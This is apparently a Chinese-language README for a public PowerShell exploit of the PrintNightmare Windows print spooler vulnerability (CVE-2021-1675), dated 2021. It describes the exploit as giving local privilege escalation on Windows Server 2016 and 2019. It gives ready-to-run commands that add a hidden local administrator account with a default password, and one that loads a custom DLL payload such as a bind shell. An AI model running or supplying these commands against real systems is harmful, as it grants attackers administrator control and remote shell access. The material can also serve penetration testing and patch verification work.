Caleb Stewart | John Hammond | 2021年6月1日
CVE-2021-1675 是一个关键的远程代码执行与本地权限提升漏洞,被称为“PrintNightmare”。
针对远程代码执行能力,已有公开的概念验证漏洞利用代码(Python、C++),以及用于本地权限提升的 C# 版本。我们尚未看到纯 PowerShell 的原生实现,因此希望尝试改进并重塑该漏洞利用方式。
此 PowerShell 脚本利用 PrintNightmare 攻击技术实现本地权限提升 (LPE)。

已在 Windows Server 2016 和 Windows Server 2019 上测试通过。
默认情况下,将新用户添加到本地管理员组:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # 默认将用户 `adm1n`/`P@ssw0rd` 添加到本地管理员组
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
提供自定义 DLL 载荷,以执行其他任何操作。
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"